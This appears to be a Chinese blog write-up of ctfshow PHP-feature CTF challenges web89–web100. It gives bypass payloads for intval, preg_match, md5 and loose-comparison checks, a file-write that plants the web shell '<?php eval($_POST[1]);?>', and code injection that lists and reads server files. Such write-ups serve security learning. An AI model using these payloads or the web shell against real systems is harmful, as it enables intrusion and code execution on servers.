php特性题目

web89

首先,它使用preg_match函数检查"num"参数是否包含数字。如果包含数字,则会输出"no no no!"并终止脚本的执行。接下来,它使用intval函数将"num"参数转换为整数。如果转换成功,则会输出$flag变量的值。

这里使用数组绕过  ?num[]=1

web90

题目要求num强类型比较不等于4476,但经过intval后=4476

因此可以通过八进制或十六进制绕过

?num=4476a  /  ?num=0x117c

web91

正则匹配

i 
不区分(ignore)大小写

m
多(more)行匹配
若存在换行\n并且有开始^或结束$符的情况下,
将以换行为分隔符,逐行进行匹配
$str = "abc\nabc";
$preg = "/^abc$/m";
preg_match($preg, $str,$matchs);
这样其实是符合正则表达式的,因为匹配的时候 先是匹配换行符前面的,接着匹配换行符后面的,两个都是abc所以可以通过正则表达式。

s
特殊字符圆点 . 中包含换行符
默认的圆点 . 是匹配除换行符 \n 之外的任何单字符,加上s之后, .包含换行符
$str = "abggab\nacbs";
$preg = "/b./s";
preg_match_all($preg, $str,$matchs);
这样匹配到的有三个 bg b\n bs

g
全局匹配,查找所有匹配项

A
强制从目标字符串开头匹配;

D
如果使用$限制结尾字符,则不允许结尾有换行; 

e
配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行; 

第一个if语句表示匹配$a开头和php结尾,^表示开头,$表示结尾,i不区分大小写,m表示多行匹配

第二个if语句表示匹配$a开头和php结尾,如果开头是php则输出hacker,不满足则输出flag

?cmd=a%0aphp    %0a是换行符

web92

弱绕过

4476a无法绕过if($num==4476),可以使用八进制、十六进制以及科学计数法

num=010574

num=0x117c

num=4476e1

web93

八进制绕过

num=010574

web94

 if(preg_match("/[a-z]/i", $num))过滤了字符

strpos()绕过可在前边多加一个字符

num= 010574

num= 4476.0

num=%0a010574

num=+4476

web95

?num=+010574

web96

?u=./flag.php

web97

强比较

md5()函数无法处理数组,如果传入的为数组,会返回NULL,所以是强相等的

a[]=1&b[]=2

web98

三目运算符

$_GET?$_GET=&$_POST:'flag';

如果get传了一个值,那么就可以用post覆盖get中的值。

highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
如果有通过GET方法传参'HTTP_FLAG=flag',就highlight_file($flag),否则highlight_file(__FILE__)

?a=a
HTTP_FLAG=flag   //POST

web99

<?php
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}

?>

php弱类型比较
设置$allow数组,向数组里添加rand产生的随机数,范围从1到36…877。

n=1.php
content=<?php eval($_POST[1]);?> //POST
 

web100

is_numeric()函数用来检测变量是否为数字或数字字符串。
因此v0为数字,v2中不能有;,v3中要有;
php运算优先级 &&> = > and,所以保证v0=true就可以了v1=1&v2=print_r(scandir('.'))&v3=;

v1=1&v2=print_r(file('ctfshow.php'))&v3=;

  • 6
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值